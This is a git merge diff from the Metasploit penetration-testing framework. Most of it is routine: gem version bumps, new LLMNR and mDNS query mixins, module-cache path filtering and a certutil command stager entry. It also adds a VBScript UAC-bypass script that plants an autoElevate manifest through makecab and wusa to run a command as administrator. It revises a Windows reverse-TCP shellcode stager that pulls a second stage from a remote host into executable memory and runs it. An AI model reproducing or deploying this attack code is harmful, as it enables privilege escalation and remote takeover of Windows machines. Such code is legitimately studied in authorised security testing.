Merge remote-tracking branch 'rapid7/master' into Uptime
commit
92aa09a586
|
@ -9,7 +9,7 @@ PATH
|
||||||
json
|
json
|
||||||
metasploit-concern (= 1.0.0)
|
metasploit-concern (= 1.0.0)
|
||||||
metasploit-model (= 1.0.0)
|
metasploit-model (= 1.0.0)
|
||||||
metasploit-payloads (= 1.0.10)
|
metasploit-payloads (= 1.0.12)
|
||||||
msgpack
|
msgpack
|
||||||
nokogiri
|
nokogiri
|
||||||
packetfu (= 1.1.9)
|
packetfu (= 1.1.9)
|
||||||
|
@ -123,7 +123,7 @@ GEM
|
||||||
activemodel (>= 4.0.9, < 4.1.0)
|
activemodel (>= 4.0.9, < 4.1.0)
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
railties (>= 4.0.9, < 4.1.0)
|
railties (>= 4.0.9, < 4.1.0)
|
||||||
metasploit-payloads (1.0.10)
|
metasploit-payloads (1.0.12)
|
||||||
metasploit_data_models (1.2.5)
|
metasploit_data_models (1.2.5)
|
||||||
activerecord (>= 4.0.9, < 4.1.0)
|
activerecord (>= 4.0.9, < 4.1.0)
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
|
|
|
@ -0,0 +1,62 @@
|
||||||
|
Option Explicit
|
||||||
|
|
||||||
|
Dim oWs: Set oWs = CreateObject("WScript.Shell")
|
||||||
|
Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject")
|
||||||
|
Dim HOST_MANIFEST: HOST_MANIFEST = _
|
||||||
|
"<?xml version=""1.0"" encoding=""UTF-8"" standalone=""yes""?>" & vbCrLf & _
|
||||||
|
"<assembly xmlns=""urn:schemas-microsoft-com:asm.v1""" & vbCrLf & _
|
||||||
|
" xmlns:asmv3=""urn:schemas-microsoft-com:asm.v3""" & vbCrLf & _
|
||||||
|
" manifestVersion=""1.0"">" & vbCrLf & _
|
||||||
|
" <asmv3:trustInfo>" & vbCrLf & _
|
||||||
|
" <security>" & vbCrLf & _
|
||||||
|
" <requestedPrivileges>" & vbCrLf & _
|
||||||
|
" <requestedExecutionLevel level=""RequireAdministrator"" uiAccess=""false""/>" & vbCrLf & _
|
||||||
|
" </requestedPrivileges>" & vbCrLf & _
|
||||||
|
" </security>" & vbCrLf & _
|
||||||
|
" </asmv3:trustInfo>" & vbCrLf & _
|
||||||
|
" <asmv3:application>" & vbCrLf & _
|
||||||
|
" <asmv3:windowsSettings xmlns=""http://schemas.microsoft.com/SMI/2005/WindowsSettings"">" & vbCrLf & _
|
||||||
|
" <autoElevate>true</autoElevate>" & vbCrLf & _
|
||||||
|
" <dpiAware>true</dpiAware>" & vbCrLf & _
|
||||||
|
" </asmv3:windowsSettings>" & vbCrLf & _
|
||||||
|
" </asmv3:application>" & vbCrLf & _
|
||||||
|
"</assembly>"
|
||||||
|
|
||||||
|
|
||||||
|
Sub Copy(ByVal sSource, ByVal sTarget)
|
||||||
|
Dim sTempFile: sTempFile = GetTempFilename()
|
||||||
|
oWs.Run "makecab """ & sSource & """ """ & sTempFile & """", 0, True
|
||||||
|
oWs.Run "wusa """ & sTempFile & """ /extract:" & sTarget, 0, True
|
||||||
|
oFso.DeleteFile sTempFile
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Sub Elevate()
|
||||||
|
Const WINDIR = "%windir%"
|
||||||
|
Dim sPath: sPath = Left(WScript.ScriptFullName, _
|
||||||
|
InStrRev(WScript.ScriptFullName, "\"))
|
||||||
|
Dim sHost: sHost = Right(WScript.FullName, 11)
|
||||||
|
Dim sManifest: sManifest = sPath & sHost & ".manifest"
|
||||||
|
Dim oStream: Set oStream = oFso.CreateTextFile(sManifest)
|
||||||
|
oStream.Write HOST_MANIFEST
|
||||||
|
oStream.Close
|
||||||
|
Copy sManifest, WINDIR
|
||||||
|
Copy WScript.FullName, WINDIR
|
||||||
|
oWs.Run WINDIR & "\" & sHost & " """ & WScript.ScriptFullName & """ /RESTART"
|
||||||
|
oFso.DeleteFile sManifest
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Function GetTempFilename()
|
||||||
|
Const vbTemporaryFolder = 2
|
||||||
|
Dim sTempFolder: sTempFolder = oFso.GetSpecialFolder(vbTemporaryFolder)
|
||||||
|
GetTempFilename = oFso.BuildPath(sTempFolder, oFso.GetTempName())
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Sub RunAsAdmin()
|
||||||
|
oWs.Run "COMMAND"
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
If WScript.Arguments.Named.Exists("RESTART") Then
|
||||||
|
RunAsAdmin
|
||||||
|
Else
|
||||||
|
Elevate
|
||||||
|
End If
|
|
@ -9,51 +9,61 @@ module Msf
|
||||||
def init_module_paths(opts={})
|
def init_module_paths(opts={})
|
||||||
if @module_paths_inited
|
if @module_paths_inited
|
||||||
fail "Module paths already initialized. To add more module paths call `modules.add_module_path`"
|
fail "Module paths already initialized. To add more module paths call `modules.add_module_path`"
|
||||||
else
|
return
|
||||||
# Ensure the module cache is accurate
|
|
||||||
self.modules.refresh_cache_from_database
|
|
||||||
|
|
||||||
add_engine_module_paths(Rails.application, opts)
|
|
||||||
|
|
||||||
Rails.application.railties.engines.each do |engine|
|
|
||||||
add_engine_module_paths(engine, opts)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Initialize the user module search path
|
allowed_module_paths = []
|
||||||
if (Msf::Config.user_module_directory)
|
extract_engine_module_paths(Rails.application).each do |path|
|
||||||
self.modules.add_module_path(Msf::Config.user_module_directory, opts)
|
allowed_module_paths << path
|
||||||
|
end
|
||||||
|
|
||||||
|
if Msf::Config.user_module_directory
|
||||||
|
allowed_module_paths << Msf::Config.user_module_directory
|
||||||
|
end
|
||||||
|
|
||||||
|
Rails.application.railties.engines.each do |engine|
|
||||||
|
extract_engine_module_paths(engine).each do |path|
|
||||||
|
allowed_module_paths << path
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# If additional module paths have been defined globally, then load them.
|
# If additional module paths have been defined globally, then load them.
|
||||||
# They should be separated by semi-colons.
|
# They should be separated by semi-colons.
|
||||||
if self.datastore['MsfModulePaths']
|
self.datastore['MsfModulePaths'].to_s.split(";").each do |path|
|
||||||
self.datastore['MsfModulePaths'].split(";").each { |path|
|
allowed_module_paths << path
|
||||||
|
end
|
||||||
|
|
||||||
|
# If the caller had additional paths to search, load them.
|
||||||
|
# They should be separated by semi-colons.
|
||||||
|
opts.delete(:module_paths).to_s.split(";").each do |path|
|
||||||
|
allowed_module_paths << path
|
||||||
|
end
|
||||||
|
|
||||||
|
# Remove any duplicate paths
|
||||||
|
allowed_module_paths.uniq!
|
||||||
|
|
||||||
|
# Update the module cache from the database
|
||||||
|
self.modules.refresh_cache_from_database(allowed_module_paths)
|
||||||
|
|
||||||
|
# Load each of the module paths
|
||||||
|
allowed_module_paths.each do |path|
|
||||||
self.modules.add_module_path(path, opts)
|
self.modules.add_module_path(path, opts)
|
||||||
}
|
|
||||||
end
|
end
|
||||||
|
|
||||||
@module_paths_inited = true
|
@module_paths_inited = true
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
private
|
private
|
||||||
|
|
||||||
# Add directories `engine.paths['modules']` from `engine`.
|
# Extract directories `engine.paths['modules']` from `engine`.
|
||||||
#
|
#
|
||||||
# @param engine [Rails::Engine] a rails engine or application
|
# @param engine [Rails::Engine] a rails engine or application
|
||||||
# @param options [Hash] options for {Msf::ModuleManager::ModulePaths#add_module_paths}
|
# @param options [Hash] options for {Msf::ModuleManager::ModulePaths#add_module_paths}
|
||||||
# @return [void]
|
# @return [Array<String>] The list of module paths to load
|
||||||
def add_engine_module_paths(engine, options={})
|
def extract_engine_module_paths(engine)
|
||||||
modules_paths = engine.paths['modules']
|
engine.paths['modules'] ? engine.paths['modules'].existent_directories : []
|
||||||
|
end
|
||||||
|
|
||||||
if modules_paths
|
|
||||||
modules_directories = modules_paths.existent_directories
|
|
||||||
|
|
||||||
modules_directories.each do |modules_directory|
|
|
||||||
modules.add_module_path(modules_directory, options)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,24 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'msf/core/auxiliary/mdns'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
# This module provides methods for working with LLMNR
|
||||||
|
module Auxiliary::LLMNR
|
||||||
|
include Auxiliary::MDNS
|
||||||
|
|
||||||
|
# Initializes an instance of an auxiliary module that uses LLMNR
|
||||||
|
def initialize(info = {})
|
||||||
|
super
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.252']),
|
||||||
|
Opt::RPORT(5355),
|
||||||
|
# TODO: allow more than one
|
||||||
|
OptString.new('NAME', [true, 'The name to query', 'localhost']),
|
||||||
|
OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'A'])
|
||||||
|
],
|
||||||
|
self.class
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,108 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'net/dns'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
# This module provides methods for working with mDNS
|
||||||
|
module Auxiliary::MDNS
|
||||||
|
# Initializes an instance of an auxiliary module that uses mDNS
|
||||||
|
def initialize(info = {})
|
||||||
|
super
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.251']),
|
||||||
|
Opt::RPORT(5353),
|
||||||
|
OptString.new('NAME', [true, 'The name to query', '_services._dns-sd._udp.local']),
|
||||||
|
OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'PTR']),
|
||||||
|
OptString.new('CLASS', [true, 'The query class (name, # or CLASS#)', 'IN'])
|
||||||
|
],
|
||||||
|
self.class
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def setup
|
||||||
|
query_class_name
|
||||||
|
query_type_name
|
||||||
|
end
|
||||||
|
|
||||||
|
def build_probe
|
||||||
|
@probe ||= ::Net::DNS::Packet.new(query_name, query_type_num, query_class_num).data
|
||||||
|
# TODO: support QU vs QM probes
|
||||||
|
# @probe[@probe.size-2] = [0x80].pack('C')
|
||||||
|
# @probe
|
||||||
|
end
|
||||||
|
|
||||||
|
def query_class
|
||||||
|
if datastore['CLASS'] =~ /^\d+$/
|
||||||
|
datastore['CLASS'].to_i
|
||||||
|
else
|
||||||
|
datastore['CLASS'].upcase
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def query_class_name
|
||||||
|
Net::DNS::RR::Classes.new(query_class).to_s
|
||||||
|
end
|
||||||
|
|
||||||
|
def query_class_num
|
||||||
|
Net::DNS::RR::Classes.new(query_class).to_i
|
||||||
|
end
|
||||||
|
|
||||||
|
def query_type
|
||||||
|
if datastore['TYPE'] =~ /^\d+$/
|
||||||
|
datastore['TYPE'].to_i
|
||||||
|
else
|
||||||
|
datastore['TYPE'].upcase
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def query_name
|
||||||
|
datastore['NAME']
|
||||||
|
end
|
||||||
|
|
||||||
|
def query_type_name
|
||||||
|
Net::DNS::RR::Types.new(query_type).to_s
|
||||||
|
end
|
||||||
|
|
||||||
|
def query_type_num
|
||||||
|
Net::DNS::RR::Types.new(query_type).to_i
|
||||||
|
end
|
||||||
|
|
||||||
|
def describe_response(response)
|
||||||
|
decoded = Resolv::DNS::Message.decode(response)
|
||||||
|
answers = decoded.answer
|
||||||
|
|
||||||
|
if answers.empty? # not sure this will ever happen...
|
||||||
|
"no answers"
|
||||||
|
else
|
||||||
|
# there are often many answers for the same RR, so group them
|
||||||
|
grouped_answers = answers.group_by { |name, _, _| name }
|
||||||
|
# now summarize each group by noting the resource type and the notable
|
||||||
|
# part(s) of that RR
|
||||||
|
summarized_answers = grouped_answers.map do |name, these_answers|
|
||||||
|
summarized_group = these_answers.map do |_, _, data|
|
||||||
|
case data
|
||||||
|
when Resolv::DNS::Resource::IN::A
|
||||||
|
"A #{data.address}"
|
||||||
|
when Resolv::DNS::Resource::IN::AAAA
|
||||||
|
"AAAA #{data.address}"
|
||||||
|
when Resolv::DNS::Resource::IN::PTR
|
||||||
|
"PTR #{data.name}"
|
||||||
|
when Resolv::DNS::Resource::IN::SRV
|
||||||
|
"SRV #{data.target}"
|
||||||
|
when Resolv::DNS::Resource::IN::TXT
|
||||||
|
"TXT #{data.strings.join(',')}"
|
||||||
|
else
|
||||||
|
data.inspect
|
||||||
|
end
|
||||||
|
end
|
||||||
|
"#{name}: (#{summarized_group.join(", ")})"
|
||||||
|
end
|
||||||
|
summarized_answers.join(', ')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def request_info
|
||||||
|
"#{query_name} #{query_class}/#{query_type}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -20,6 +20,8 @@ require 'msf/core/auxiliary/login'
|
||||||
require 'msf/core/auxiliary/rservices'
|
require 'msf/core/auxiliary/rservices'
|
||||||
require 'msf/core/auxiliary/cisco'
|
require 'msf/core/auxiliary/cisco'
|
||||||
require 'msf/core/auxiliary/kademlia'
|
require 'msf/core/auxiliary/kademlia'
|
||||||
|
require 'msf/core/auxiliary/llmnr'
|
||||||
|
require 'msf/core/auxiliary/mdns'
|
||||||
require 'msf/core/auxiliary/nmap'
|
require 'msf/core/auxiliary/nmap'
|
||||||
require 'msf/core/auxiliary/natpmp'
|
require 'msf/core/auxiliary/natpmp'
|
||||||
require 'msf/core/auxiliary/iax2'
|
require 'msf/core/auxiliary/iax2'
|
||||||
|
|
|
@ -181,7 +181,9 @@ module Auxiliary::UDPScanner
|
||||||
end
|
end
|
||||||
|
|
||||||
# Called for each response packet
|
# Called for each response packet
|
||||||
def scanner_process(data, shost, sport)
|
def scanner_process(data, shost, _sport)
|
||||||
|
@results[shost] ||= []
|
||||||
|
@results[shost] << data
|
||||||
end
|
end
|
||||||
|
|
||||||
# Called before the scan block
|
# Called before the scan block
|
||||||
|
|
|
@ -242,7 +242,7 @@ module Msf
|
||||||
dev ||= datastore['INTERFACE']
|
dev ||= datastore['INTERFACE']
|
||||||
dst_mac, src_mac = lookup_eth(dhost, dev)
|
dst_mac, src_mac = lookup_eth(dhost, dev)
|
||||||
if dst_mac == nil and not bcast
|
if dst_mac == nil and not bcast
|
||||||
return false
|
raise RuntimeError, 'Unable to determine the destination MAC and bcast is false'
|
||||||
end
|
end
|
||||||
inject_eth(:payload => payload, :eth_daddr => dst_mac, :eth_saddr => src_mac)
|
inject_eth(:payload => payload, :eth_daddr => dst_mac, :eth_saddr => src_mac)
|
||||||
end
|
end
|
||||||
|
|
|
@ -20,6 +20,7 @@ module Exploit::CmdStager
|
||||||
:printf => Rex::Exploitation::CmdStagerPrintf,
|
:printf => Rex::Exploitation::CmdStagerPrintf,
|
||||||
:vbs => Rex::Exploitation::CmdStagerVBS,
|
:vbs => Rex::Exploitation::CmdStagerVBS,
|
||||||
:vbs_adodb => Rex::Exploitation::CmdStagerVBS,
|
:vbs_adodb => Rex::Exploitation::CmdStagerVBS,
|
||||||
|
:certutil => Rex::Exploitation::CmdStagerCertutil,
|
||||||
:tftp => Rex::Exploitation::CmdStagerTFTP
|
:tftp => Rex::Exploitation::CmdStagerTFTP
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -113,6 +113,8 @@ class Msf::Module::SiteReference < Msf::Module::Reference
|
||||||
self.site = "http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}"
|
self.site = "http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}"
|
||||||
elsif (in_ctx_id == 'WPVDB')
|
elsif (in_ctx_id == 'WPVDB')
|
||||||
self.site = "https://wpvulndb.com/vulnerabilities/#{in_ctx_val}"
|
self.site = "https://wpvulndb.com/vulnerabilities/#{in_ctx_val}"
|
||||||
|
elsif (in_ctx_id == 'PACKETSTORM')
|
||||||
|
self.site = "https://packetstormsecurity.com/files/#{in_ctx_val}"
|
||||||
elsif (in_ctx_id == 'URL')
|
elsif (in_ctx_id == 'URL')
|
||||||
self.site = in_ctx_val.to_s
|
self.site = in_ctx_val.to_s
|
||||||
else
|
else
|
||||||
|
|
|
@ -113,15 +113,15 @@ module Msf::ModuleManager::Cache
|
||||||
framework.db.update_all_module_details
|
framework.db.update_all_module_details
|
||||||
end
|
end
|
||||||
|
|
||||||
refresh_cache_from_database
|
refresh_cache_from_database(self.module_paths)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Refreshes the in-memory cache from the database cache.
|
# Refreshes the in-memory cache from the database cache.
|
||||||
#
|
#
|
||||||
# @return [void]
|
# @return [void]
|
||||||
def refresh_cache_from_database
|
def refresh_cache_from_database(allowed_paths=[""])
|
||||||
self.module_info_by_path_from_database!
|
self.module_info_by_path_from_database!(allowed_paths)
|
||||||
end
|
end
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
@ -149,10 +149,12 @@ module Msf::ModuleManager::Cache
|
||||||
# @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::Module::Detail#file) to module information. Module
|
# @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::Module::Detail#file) to module information. Module
|
||||||
# information is a Hash derived from Mdm::Module::Detail. It includes :modification_time, :parent_path, :type,
|
# information is a Hash derived from Mdm::Module::Detail. It includes :modification_time, :parent_path, :type,
|
||||||
# :reference_name.
|
# :reference_name.
|
||||||
def module_info_by_path_from_database!
|
def module_info_by_path_from_database!(allowed_paths=[""])
|
||||||
self.module_info_by_path = {}
|
self.module_info_by_path = {}
|
||||||
|
|
||||||
if framework_migrated?
|
if framework_migrated?
|
||||||
|
allowed_paths = allowed_paths.map{|x| x + "/"}
|
||||||
|
|
||||||
ActiveRecord::Base.connection_pool.with_connection do
|
ActiveRecord::Base.connection_pool.with_connection do
|
||||||
# TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file.
|
# TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file.
|
||||||
# Use find_each so Mdm::Module::Details are returned in batches, which will
|
# Use find_each so Mdm::Module::Details are returned in batches, which will
|
||||||
|
@ -162,6 +164,9 @@ module Msf::ModuleManager::Cache
|
||||||
type = module_detail.mtype
|
type = module_detail.mtype
|
||||||
reference_name = module_detail.refname
|
reference_name = module_detail.refname
|
||||||
|
|
||||||
|
# Skip cached modules that are not in our allowed load paths
|
||||||
|
next if allowed_paths.select{|x| path.index(x) == 0}.empty?
|
||||||
|
|
||||||
typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name)
|
typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name)
|
||||||
# join to '' so that typed_path_prefix starts with file separator
|
# join to '' so that typed_path_prefix starts with file separator
|
||||||
typed_path_suffix = File.join('', typed_path)
|
typed_path_suffix = File.join('', typed_path)
|
||||||
|
|
|
@ -76,11 +76,11 @@ module Payload::Windows::ReverseTcp
|
||||||
# Start with our cached default generated size
|
# Start with our cached default generated size
|
||||||
space = cached_size
|
space = cached_size
|
||||||
|
|
||||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
# EXITFUNK 'thread' is the biggest by far, adds 29 bytes.
|
||||||
space += 31
|
space += 29
|
||||||
|
|
||||||
# Reliability adds 10 bytes for recv error checks
|
# Reliability adds some bytes!
|
||||||
space += 10
|
space += 44
|
||||||
|
|
||||||
space += uuid_required_size if include_send_uuid
|
space += uuid_required_size if include_send_uuid
|
||||||
|
|
||||||
|
@ -108,20 +108,27 @@ module Payload::Windows::ReverseTcp
|
||||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||||
|
|
||||||
reverse_tcp:
|
reverse_tcp:
|
||||||
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||||
push 0x5F327377 ; ...
|
push 'ws2_' ; ...
|
||||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||||
call ebp ; LoadLibraryA( "ws2_32" )
|
call ebp ; LoadLibraryA( "ws2_32" )
|
||||||
|
|
||||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||||
sub esp, eax ; alloc some space for the WSAData structure
|
sub esp, eax ; alloc some space for the WSAData structure
|
||||||
push esp ; push a pointer to this stuct
|
push esp ; push a pointer to this stuct
|
||||||
push eax ; push the wVersionRequested parameter
|
push eax ; push the wVersionRequested parameter
|
||||||
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
|
||||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||||
|
|
||||||
|
set_address:
|
||||||
|
push #{retry_count} ; retry counter
|
||||||
|
|
||||||
create_socket:
|
create_socket:
|
||||||
|
push #{encoded_host} ; host in little-endian format
|
||||||
|
push #{encoded_port} ; family AF_INET and port number
|
||||||
|
mov esi, esp ; save pointer to sockaddr struct
|
||||||
|
|
||||||
push eax ; if we succeed, eax will be zero, push zero for the flags param.
|
push eax ; if we succeed, eax will be zero, push zero for the flags param.
|
||||||
push eax ; push null for reserved parameter
|
push eax ; push null for reserved parameter
|
||||||
push eax ; we do not specify a WSAPROTOCOL_INFO structure
|
push eax ; we do not specify a WSAPROTOCOL_INFO structure
|
||||||
|
@ -130,28 +137,23 @@ module Payload::Windows::ReverseTcp
|
||||||
push eax ; push SOCK_STREAM
|
push eax ; push SOCK_STREAM
|
||||||
inc eax ;
|
inc eax ;
|
||||||
push eax ; push AF_INET
|
push eax ; push AF_INET
|
||||||
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
|
||||||
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||||
|
|
||||||
set_address:
|
|
||||||
push #{retry_count} ; retry counter
|
|
||||||
push #{encoded_host} ; host in little-endian format
|
|
||||||
push #{encoded_port} ; family AF_INET and port number
|
|
||||||
mov esi, esp ; save pointer to sockaddr struct
|
|
||||||
|
|
||||||
try_connect:
|
try_connect:
|
||||||
push 16 ; length of the sockaddr struct
|
push 16 ; length of the sockaddr struct
|
||||||
push esi ; pointer to the sockaddr struct
|
push esi ; pointer to the sockaddr struct
|
||||||
push edi ; the socket
|
push edi ; the socket
|
||||||
push 0x6174A599 ; hash( "ws2_32.dll", "connect" )
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
|
||||||
call ebp ; connect( s, &sockaddr, 16 );
|
call ebp ; connect( s, &sockaddr, 16 );
|
||||||
|
|
||||||
test eax,eax ; non-zero means a failure
|
test eax,eax ; non-zero means a failure
|
||||||
jz connected
|
jz connected
|
||||||
|
|
||||||
handle_failure:
|
handle_connect_failure:
|
||||||
dec dword [esi+8]
|
; decrement our attempt count and try again
|
||||||
|
dec [esi+8]
|
||||||
jnz try_connect
|
jnz try_connect
|
||||||
^
|
^
|
||||||
|
|
||||||
|
@ -167,17 +169,10 @@ module Payload::Windows::ReverseTcp
|
||||||
call ebp
|
call ebp
|
||||||
^
|
^
|
||||||
end
|
end
|
||||||
# TODO: Rewind the stack, free memory, try again
|
|
||||||
=begin
|
|
||||||
if opts[:reliable]
|
|
||||||
asm << %Q^
|
|
||||||
reconnect:
|
|
||||||
|
|
||||||
^
|
|
||||||
end
|
|
||||||
=end
|
|
||||||
|
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
|
; this lable is required so that reconnect attempts include
|
||||||
|
; the UUID stuff if required.
|
||||||
connected:
|
connected:
|
||||||
^
|
^
|
||||||
|
|
||||||
|
@ -190,16 +185,16 @@ module Payload::Windows::ReverseTcp
|
||||||
push 4 ; length = sizeof( DWORD );
|
push 4 ; length = sizeof( DWORD );
|
||||||
push esi ; the 4 byte buffer on the stack to hold the second stage length
|
push esi ; the 4 byte buffer on the stack to hold the second stage length
|
||||||
push edi ; the saved socket
|
push edi ; the saved socket
|
||||||
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
|
||||||
call ebp ; recv( s, &dwLength, 4, 0 );
|
call ebp ; recv( s, &dwLength, 4, 0 );
|
||||||
^
|
^
|
||||||
|
|
||||||
# Check for a failed recv() call
|
|
||||||
# TODO: Try again by jmping to reconnect
|
|
||||||
if reliable
|
if reliable
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
|
; reliability: check to see if the recv worked, and reconnect
|
||||||
|
; if it fails
|
||||||
cmp eax, 0
|
cmp eax, 0
|
||||||
jle failure
|
jle cleanup_socket
|
||||||
^
|
^
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -210,31 +205,54 @@ module Payload::Windows::ReverseTcp
|
||||||
push 0x1000 ; MEM_COMMIT
|
push 0x1000 ; MEM_COMMIT
|
||||||
push esi ; push the newly recieved second stage length.
|
push esi ; push the newly recieved second stage length.
|
||||||
push 0 ; NULL as we dont care where the allocation is.
|
push 0 ; NULL as we dont care where the allocation is.
|
||||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
; Receive the second stage and execute it...
|
; Receive the second stage and execute it...
|
||||||
xchg ebx, eax ; ebx = our new memory address for the new stage
|
xchg ebx, eax ; ebx = our new memory address for the new stage
|
||||||
push ebx ; push the address of the new stage so we can return into it
|
push ebx ; push the address of the new stage so we can return into it
|
||||||
|
|
||||||
read_more: ;
|
read_more:
|
||||||
push 0 ; flags
|
push 0 ; flags
|
||||||
push esi ; length
|
push esi ; length
|
||||||
push ebx ; the current address into our second stage's RWX buffer
|
push ebx ; the current address into our second stage's RWX buffer
|
||||||
push edi ; the saved socket
|
push edi ; the saved socket
|
||||||
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
|
||||||
call ebp ; recv( s, buffer, length, 0 );
|
call ebp ; recv( s, buffer, length, 0 );
|
||||||
^
|
^
|
||||||
|
|
||||||
# Check for a failed recv() call
|
|
||||||
# TODO: Try again by jmping to reconnect
|
|
||||||
if reliable
|
if reliable
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
|
; reliability: check to see if the recv worked, and reconnect
|
||||||
|
; if it fails
|
||||||
cmp eax, 0
|
cmp eax, 0
|
||||||
jle failure
|
jge read_successful
|
||||||
|
|
||||||
|
; something failed, free up memory
|
||||||
|
pop eax ; get the address of the payload
|
||||||
|
push 0x4000 ; dwFreeType (MEM_DECOMMIT)
|
||||||
|
push 0 ; dwSize
|
||||||
|
push eax ; lpAddress
|
||||||
|
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
|
||||||
|
call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT)
|
||||||
|
|
||||||
|
cleanup_socket:
|
||||||
|
; clear up the socket
|
||||||
|
push edi ; socket handle
|
||||||
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
||||||
|
call ebp ; closesocket(socket)
|
||||||
|
|
||||||
|
; restore the stack back to the connection retry count
|
||||||
|
pop esi
|
||||||
|
pop esi
|
||||||
|
dec [esp] ; decrement the counter
|
||||||
|
|
||||||
|
; try again
|
||||||
|
jmp create_socket
|
||||||
^
|
^
|
||||||
end
|
end
|
||||||
|
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
|
read_successful:
|
||||||
add ebx, eax ; buffer += bytes_received
|
add ebx, eax ; buffer += bytes_received
|
||||||
sub esi, eax ; length -= bytes_received, will set flags
|
sub esi, eax ; length -= bytes_received, will set flags
|
||||||
jnz read_more ; continue if we have more to read
|
jnz read_more ; continue if we have more to read
|
||||||
|
|
|
@ -33,25 +33,11 @@ module Payload::Windows::Exitfunk_x64
|
||||||
ret ; Return to NULL (crash)
|
ret ; Return to NULL (crash)
|
||||||
^
|
^
|
||||||
|
|
||||||
# On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread
|
|
||||||
# on WoW64 processes, instead we need to call RtlExitUserThread. This stub will
|
|
||||||
# automatically generate the right code depending on the selected exit method.
|
|
||||||
|
|
||||||
when 'thread'
|
when 'thread'
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)}
|
|
||||||
